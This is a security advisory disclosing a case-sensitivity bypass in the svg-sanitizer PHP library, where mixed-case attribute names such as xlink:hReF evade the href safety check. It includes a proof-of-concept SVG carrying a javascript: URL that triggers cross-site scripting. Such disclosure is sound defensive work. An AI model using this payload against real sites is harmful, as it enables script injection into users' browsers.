svg-sanitizer Bypasses Attribute Sanitization

Problem

The sanitization logic at https://github.com/darylldoyle/svg-sanitizer/blob/0.21.0/src/Sanitizer.php#L454-L481 only searches for lower-case attribute names (e.g. xlink:href instead of xlink:HrEf), which allows to by-pass the isHrefSafeValue check. As a result this allows cross-site scripting or linking to external domains.

Proof-of-concept

provided by azizk

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="100" height="100">
  <a xlink:hReF="javascript:alert(document.domain)">
    <rect width="100" height="50" fill="red"></rect>
    <text x="50" y="30" text-anchor="middle" fill="white">Click me</text>
  </a>
</svg>

Credits

The mentioned findings and proof-of-concept example were reported to the TYPO3 Security Team by the external security researcher azizk <[email protected]>.